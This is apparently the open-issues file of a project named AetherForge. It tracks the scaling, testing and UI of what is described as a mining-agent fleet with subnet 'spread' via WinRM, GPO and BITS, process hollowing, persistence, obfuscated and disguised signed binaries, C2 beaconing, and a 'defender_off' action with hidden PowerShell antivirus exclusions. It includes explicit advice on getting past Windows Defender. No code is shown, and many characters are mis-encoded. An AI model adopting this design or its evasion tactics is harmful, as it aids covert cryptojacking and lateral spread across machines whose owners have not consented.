AetherForge/PROBLEMS.md

PROBLEMS.md

Open issues only. Fixed items removed. Last sweep: 2026-06-07.

Scale limits (hundreds of subnets / 500+ agents)

Area	Notes
Subnet grouping	Derived from agents.ip /24 prefix at query time; no agents.subnet column ΓÇö hundreds of subnets OK via LIKE filter + dropdown (not chips).
Per-agent subnet scan	Capped at 128 hosts (MaxSubnetScanHosts); syscheck uses 20; spread sem=16 per agent. Fleet discovery is incremental (ARP + capped sweep), not full /16.
stats_batch WS	Server coalesces stats every 250ms into one frame; client applies in single setAgents pass with agentStatsUnchanged skip.
Hashrate samples	One INSERT per agent stats tick ΓÇö dominant DB write at scale; retention/prune policy not automated.
Stale-agent sweep	Every 45s calls ListAgents() full table scan; acceptable to ~1000 rows, costly beyond without indexed partial query.

Antivirus / Windows Defender

Topic	Notes
Why "AV off" fails	UI toggle often disables Real-time protection only. Tamper Protection, cloud-delivered protection, Controlled folder access, SmartScreen, and behavioral blocks still run. defender_off remote action and SilentAVExclusion fail without elevation; Tamper Protection reverts Set-MpPreference.
High-friction paths	GPU subprocess (T-Rex/TRM .exe download), garble/obfuscated agent binary, spread/hollow/persistence, SilentAVExclusion hidden PowerShell. In-process RandomX (pure Go) has no external CPU miner exe.
Default execution (2026-06-06)	Forge default is miner_execution=auto (full cascade). AV-Safe preset still bakes inprocess only, GPU off, no hollow/spread.
Operator tooling	Calibrate → Windows Defender Exclusions generates elevated .ps1 (manual run). Crucible → Mining Diagnostics command returns JSON blockers.
No silver bullet	No architecture is 100% invisible. Best combo: in-process CPU + path/process exclusions + dedicated mining hardware for GPU.

Container Mining

Topic	Notes
Fallback chain	agent/miner/fallback_chain.go orchestrates container → in-process → GPU (parallel) → Stratum overlay. Failures in failed_methods[] on stats WS. 30s cooldown between full re-passes.
Default execution	Forge default is auto (full chain). inprocess/container/subprocess limit which steps run.
AV limits (honest)	Containers are not invisible ΓÇö AV still sees docker.exe, image pulls, and container filesystem scans. Legitimate benefit is isolated workload and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe.
GPU in container	Linux --gpus all stub only; Windows Docker Desktop GPU passthrough is operator-dependent. Host subprocess GPU path remains fallback.
Worker image	aetherforge/agent-worker:latest (override AETHERFORGE_MINER_IMAGE). Build from docker/Dockerfile.agent; not auto-pulled in MVP.
Deferred	Container hashrate on dashboard (host reports 0 CPU H/s while container mines); auto-build/push worker image in forge; Podman rootless on Windows.

Architecture deferred (large)

Area	Notes
tunnel_stream	Server-side TCP reverse relay documented as future (README.md).
Path Tracer sessions	TraceSession in handler RAM; restart loses state; no DB persistence or startup sweep.
Non-Windows Path Tracer parity	pathtracer_stub.go errors on wg_setup; chains are Windows-agent focused.
NAT / symmetric UDP	UPnP + DB IP fallback; no STUN/TURN or post-config connectivity probe.
Fixed WireGuard port 51820	Same UDP port all hops; multi-agent behind one NAT may conflict.
Agent display name vs hostname	WS UpsertAgent preserves operator rename when name != hostname; reconnect with hostname only keeps DB label.
WireGuard auto-download (Windows)	ensureWGExe() on first Path Tracer use; heavy, may need admin; pre-install recommended.
Monolithic WebSocket context	All useWebSocket() consumers re-render on any WS change; split contexts/selectors deferred.
CruciblePage size (~2k lines)	Terminal + fleet + tabs in one component; section split/memo deferred.
WS init ships full fleet	Dashboard connect still loads all agents in one JSON blob; pagination is REST-only (?limit=&offset=).
SQLite single-writer ceiling	SetMaxOpenConns(1) + WAL; sustained 1000+ agents with per-tick DB writes may SQLITE_BUSY; consider Postgres or write batching at 1000+.
In-memory WS agent state	Hub maps (agentCapabilities, agentLogs, DNS cache) grow O(agents); no eviction on disconnect beyond log trim.
Fleet topology 3D cap	FleetTopologyMap renders at most 200 nodes; larger fleets need subnet-grouped view or server-side aggregation.
Crucible roster pagination	Roster paginates 80 cards/page; bulk select-all still operates on filtered set in memory.
No CI HTTP forge	e2e-validate.ps1 -ForgeAgent manual; live compile needs LIVE_FORGE=1 + -tags liveforge.
Non-Windows forge host	PE disguise / osslsigncode signing platform-limited by design.
Mac PathForge runtime	.command curl /api/download/agent-mac; needs reachable server_url + binary on server.
Terminal virtualization	400-line DOM cap only; full virtual scrollback deferred.
Vite chunk weight	three + vendor warnings; FleetTopologyMap lazy but heavy first open.

UX / visual (unfixed DV)

ID	Issue
DV-01	Neon cyan fragmentation (#00f5ff, #0ff vs token #00e8f5) across several components.
DV-02	Page header patterns diverge (Build Manager, Path Tracer green title, Forge naming).
DV-03	SacredPageHeader unused (dead CSS path).
DV-04	Pages.css duplicate .empty-state / .page-header h1 override order.
DV-07	Path Tracer visual island (#00ffaa) vs operator-deck chrome.
DV-09	Dead chart badge styles in wealth-deck CSS.
DV-13	Dark-only; no light / prefers-color-scheme path.
DV-14	Sidebar footer hard-coded v0.0.1.

Help / product copy gaps

ID	Issue
UH-03	Emberwake / War Room widgets need HelpTip parity with Command Deck funnel.
UH-04	Mission Deck minimal operator guidance.
UH-05	Builder advanced forge sections missing some HelpTip keys (docAnchors.test gap list).

Test gaps / noise

Item	Notes
P1 covered (2026-06-07)	14-tier spread chain, triple-onion gates, fleet recon, Fleet AI control, personas, phenotype, failure atlas, court, clearance L0ΓÇôL4 ΓÇö Go server 765 + agent 585 Test* + Vitest 742; see tests/README.md
Fleet evolution covered (2026-06-07)	Seeder/miner split, atlas gossip, genetic breeding, BGP spread router, genealogy telemetry (non-blocking auth), court retry L4, hashrate/subnet gates, APK scout, persona temperament, WSUS mimic, erasure foundation ΓÇö Go 765+585 + Vitest 742 + Playwright 24 (phase 8); master table in tests/README.md
P2 covered (2026-06-07)	Mock MiningChainRunner lifecycle (mining_chain_lifecycle_test.go); spread lane templates + dispatch (spread_lanes_test.go, winrm_spread_test.go, staging/BITS mocks); Path Forge API + Forge UI incl. cancel/batch race (pathforge_test.go, BuilderPage.test.tsx); WS/beacon + file upload round-trips (ws_beacon_integration_test.go server+agent); flaky WS/spread-gate tests stabilized (ed9c90a); Playwright LOTL onion + discover→spread stub E2E (lotl-timeline.spec.ts, discover-spread.spec.ts); mock container/podman exec + runtime probe (container_launcher_test.go, runtime_detect_test.go); BITS/curl HiddenRun mocks (bits_windows_test.go, staging_chain_test.go); WinRM/GPO/systemd deploy-plan httptest + mock execute (deploy_plan_integration_test.go, discover_join_test.go); 3-hop discover→spread Playwright stub chain (discover-spread-stub.ts, discover-spread.spec.ts, d18c591); Vitest 742 + Playwright 24 — see tests/README.md § P2
Erasure-coded multi-lane propagation (foundation 2026-06-07)	Partial / honest foundation ΓÇö server internal/erasure/ ReedΓÇôSolomon 4+2 encode + in-memory shard store + /api/v1/public/erasure-shard/{token}/{index}; signed deploy plans attach erasure_plan when Calibrate server.erasure_lanes_enabled; agent deploy/erasure_staging.go reassembles from parallel lane URLs as fallback when primary staging fails; BGP spread_route_hint + Path Tracer show erasure_lanes_enabled. Not shipped: live parallel lane orchestration, seeder-side shard fan-out, or erasure-first (non-fallback) spread E2E.
P2 remaining (manual only)	Live Docker/Podman container start on operator host; real WinRM/GPO/systemd/crontab execution on remote owned hosts; live BITS/curl against non-mock C2 endpoints; live multi-hop discover→spread without Playwright stub
Agent pathtracer Go tests	Stub + Windows command routing expanded; full wg_setup on real hosts still manual.
Client WS/beacon paths	httptest round-trips covered; live TLS/mesh beacon still manual.
Path Tracer 2s REST poll	No WS hop progress; acceptable latency, extra load while tracing.
Emberwake double feed	15s client poll + 30s server war-room broadcast; prefer WS-only.
SystemStatusBar REST poll	listAgents every 15s duplicates WS fleet stream.
Builder / dashboard failure tests	Vitest emits ECONNREFUSED stderr on happy-dom; tests pass.
Download mock pattern	Prefer separate vi.fn() per api/download export to avoid flakes.

Scrubbed 2026-06-07 (prod garbage removed)

Item	Action
agent/config/builtin.go XMR/RVN wallets	Cleared ΓÇö dev builtin no longer ships third-party addresses
server/config.go builtin Cloudflare token	Removed ΓÇö connector requires env/config/cloudflared-token.txt
data-e2e/, music/, scratch/ in repo	Untracked + .gitignore (E2E wallet stays in docker/ + e2e-validate.ps1 only)
Mission Deck forge bar	Replaced client-side stage timer with server GET /builder/progress/{token} poll

Do not commit

• data/login-credentials.json, data/users.json, and other local secrets.